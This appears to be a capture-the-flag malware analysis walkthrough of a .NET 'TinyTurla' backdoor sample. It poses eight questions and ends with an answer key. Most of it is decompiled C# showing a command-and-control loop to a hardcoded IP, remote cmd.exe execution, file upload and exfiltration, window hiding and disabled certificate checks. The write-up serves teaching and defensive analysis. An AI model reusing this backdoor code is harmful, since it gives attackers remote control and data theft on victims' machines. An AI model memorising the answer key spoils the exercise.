

TinyTurla Backdoor

Description

You are a malware analyst assigned to investigate a suspected backdoor malware sample. The malware is designed to communicate with a remote server, execute various commands, and potentially exfiltrate data. Your task is to analyze the malware, understand its functionality, and determine its capabilities.

Research Objectives

- 1. What is the name of the process used to run the shell command in the "RunShell" method?**
- 2. Which command in the "runCommand" method sets the sleep time for the program?**
- 3. Which command in the "runCommand" method is used to execute a shell command?**
- 4. Which command in the "runCommand" method downloads a file to the server?**
- 5. Which process's main window title is specifically checked and hidden in the "Execute" method?**
- 6. Which DLL is imported to use the GetConsoleWindow function in the code?**
- 7. What method is used to perform HTTP GET requests in the provided code?**
- 8. Which IP address does the "HttpsPost" method use when making POST requests?**

Walkthrough

File hashsum

SHA256 42AC174027B45D5AF7DC8E91D5E3A69D42C4ABDFFE8AC7C740EBDF5168701E57

Sample overview

PE32
Library: .NET(v4.0.30319)[-] S ?
Linker: Microsoft Linker(11.0)[DLL32] S ?

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RunShell(string) : bool ×
1 // ClassExample
2 // Token: 0x06000007 RID: 7 RVA: 0x00002710 File Offset: 0x00000910
3 public bool RunShell(string shellcommand)
4 {
5     bool result;
6     try
7     {
8         Process process = new Process();
9         process.StartInfo.FileName = Environment.GetEnvironmentVariable("SystemRoot") + "\\System32\\cmd.exe";
10        process.StartInfo.Arguments = "/c " + shellcommand;
11        process.StartInfo.UseShellExecute = false;
12        process.StartInfo.RedirectStandardInput = true;
13        process.StartInfo.RedirectStandardOutput = true;
14        process.StartInfo.RedirectStandardError = true;
15        process.StartInfo.CreateNoWindow = true;
16        process.ErrorDataReceived += this.OutputHandler;
17        process.OutputDataReceived += this.OutputHandler;
18        process.Start();
19        process.BeginErrorReadLine();
20        process.BeginOutputReadLine();
21        process.WaitForExit();
22        process.Close();
23        result = true;
24    }
25    catch (Exception ex)
26    {
27        Console.WriteLine(ex.Message);
28        result = false;
29    }
30    return result;
31 }
```

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// ClassExample
// Token: 0x06000005 RID: 5 RVA: 0x0000245C File Offset: 0x0000065C
public void runCommand()
{
    try
    {
        HttpWebResponse httpResponse = this.HttpsPost(ClassExample.url + "?m=c&id=" +
            this.id, string.Empty);
        if (httpResponse.StatusCode == HttpStatusCode.OK)
        {
            string text = new StreamReader(httpResponse.GetResponseStream()).ReadToEnd();
            if (!(text == ""))
            {
                string[] array = text.Split(new string[]
                {
                    "\n"
                }, StringSplitOptions.None);
                for (int i = 0; i < array.Length - 1; i++)
                {
                    array[i] = Encoding.UTF8.GetString(this.Decompress(
                        Convert.FromBase64String(array[i])));
                }
                string[] array2 = array;
                for (int j = 0; j < array2.Length; j++)
                {
                    string text2 = array2[j];
                    string subParm = this.GetSubstringByString("[{", "}]", text2);
                    if (text2.Contains("[<shell>]"))
                    {
                        Thread thread = new Thread(delegate()
                        {
                            try
                            {
                                this.RunShell(subParm);
                            }
                            catch (Exception ex)
                            {
                                this.HttpsPost(ClassExample.url + "/?m=m&id=" + this.id,
                                    Convert.ToBase64String(Encoding.UTF8.GetBytes(ex.Message)));
                            }
                        });
                        thread.Start();
                    }
                }
            }
        }
    }
}
```

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41     else if (text2.Contains("<sleep>"))
42     {
43         this.nsleepTime = int.Parse(subParm);
44         this.HttpsPost(ClassExample.url + "/?m=m&id=" + this.id,
45                         Convert.ToBase64String(Encoding.UTF8.GetBytes("set sleep time
46                                         ok.")));
47     }
48     else if (text2.Contains("<upload>"))
49     {
50         Thread thread = new Thread(delegate()
51         {
52             try
53             {
54                 string fileName = Path.GetFileName(subParm);
55                 HttpWebResponse httpWebResponse2 = this.HttpsGet
56                 (string.Concat(new string[]
57                 {
58                     ClassExample.url,
59                     "?m=f&id=",
60                     this.id,
61                     "&n=",
62                     fileName
63                 }));
64                 if (httpWebResponse2.StatusCode == HttpStatusCode.OK)
65                 {
66                     Stream responseStream =
67                     httpWebResponse2.GetResponseStream();
68                     string text3 = new StreamReader(responseStream).ReadToEnd
69                     ();
70                     if (text3 != string.Empty)
71                     {
72                         byte[] bytes = this.Decompress
73                         (Convert.FromBase64String(text3));
74                         File.WriteAllBytes(subParm, bytes);
75                         this.HttpsPost(ClassExample.url + "/?m=m&id=" +
76                         this.id, Convert.ToBase64String(Encoding.UTF8.GetBytes("upload
77                                         ok.")));
78                     }
79                 }
80             }
81         }
82         catch (Exception ex)
83         {
84             MessageBox.Show(ex.Message);
85         }
86     }
87 }
```

```
73             catch (Exception ex)
74             {
75                 this.HttpsPost(ClassExample.url + "/?m=m&id=" + this.id,
76                 Convert.ToBase64String(Encoding.UTF8.GetBytes(ex.Message)));
77             }
78         };
79     }
80     else if (text2.Contains("[<download>]"))
81     {
82         Thread thread = new Thread(delegate()
83         {
84             try
85             {
86                 byte[] data = File.ReadAllBytes(subParm);
87                 string fileName = Path.GetFileName(subParm);
88                 this.HttpsPost(string.Concat(new string[]
89                 {
90                     ClassExample.url,
91                     "/?m=f&id=",
92                     this.id,
93                     "&n=",
94                     fileName
95                 }), Convert.ToBase64String(this.Compress(data)));
96                 this.HttpsPost(ClassExample.url + "/?m=m&id=" + this.id,
97                 Convert.ToBase64String(Encoding.UTF8.GetBytes("download to server
98                 ok.")));
99             }
100            catch (Exception ex)
101            {
102                this.HttpsPost(ClassExample.url + "/?m=m&id=" + this.id,
103                Convert.ToBase64String(Encoding.UTF8.GetBytes(ex.Message)));
104            }
105        });
106    }
107 }
108 }
```

```
// ClassExample
// Token: 0x06000004 RID: 4 RVA: 0x000020D4 File Offset: 0x000002D4
public override bool Execute()
{
    try
    {
        IntPtr consoleWindow = ClassExample.GetConsoleWindow();
        ClassExample.ShowWindow(consoleWindow, 0);
        new Thread(delegate()
        {
            try
            {
                for (;;)
                {
                    Thread.Sleep(200);
                    foreach (Process process in Process.GetProcesses())
                    {
                        if (process.MainWindowTitle.Contains("MSBuild.exe"))
                        {
                            IntPtr mainWindowHandle = process.MainWindowHandle;
                            ClassExample.ShowWindow(mainWindowHandle, 0);
                        }
                    }
                }
            }
            catch
            {
            }
        })
        {
            IsBackground = true
        }.Start();
    }
}
```

```
1 // ClassExample
2 // Token: 0x06000001 RID: 1
3 [DllImport("Kernel32.dll")]
4 private static extern IntPtr GetConsoleWindow();
5
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```
1 // ClassExample
2 // Token: 0x06000009 RID: 9 RVA: 0x00002900 File Offset: 0x00000B00
3 public HttpWebResponse HttpsGet(string strUrl)
4 {
5     HttpWebResponse result;
6     try
7     {
8         ServicePointManager.ServerCertificateValidationCallback = ((object obj,
9             X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true);
10        HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(strUrl);
11        httpWebRequest.KeepAlive = false;
12        httpWebRequest.ProtocolVersion = HttpVersion.Version10;
13        httpWebRequest.Method = "GET";
14        httpWebRequest.ContentType = "application/x-www-form-urlencoded";
15        HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
16        result = httpWebResponse;
17    }
18    catch
19    {
20        result = null;
21    }
22    return result;
23 }
```

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1 // ClassExample
2 // Token: 0x04000001 RID: 1
3 private static string ip = "192.168.31.10";
4
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```
1 // ClassExample
2 // Token: 0x04000002 RID: 2
3 private static string url = "http://" + ClassExample.ip + "/config/php/index.php";
4
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Summary

1. cmd.exe
2. [<sleep>]
3. [<shell>]
4. [<download>]
5. msbuild.exe
6. kernel32.dll
7. HttpsGet

8. 192.168.31.10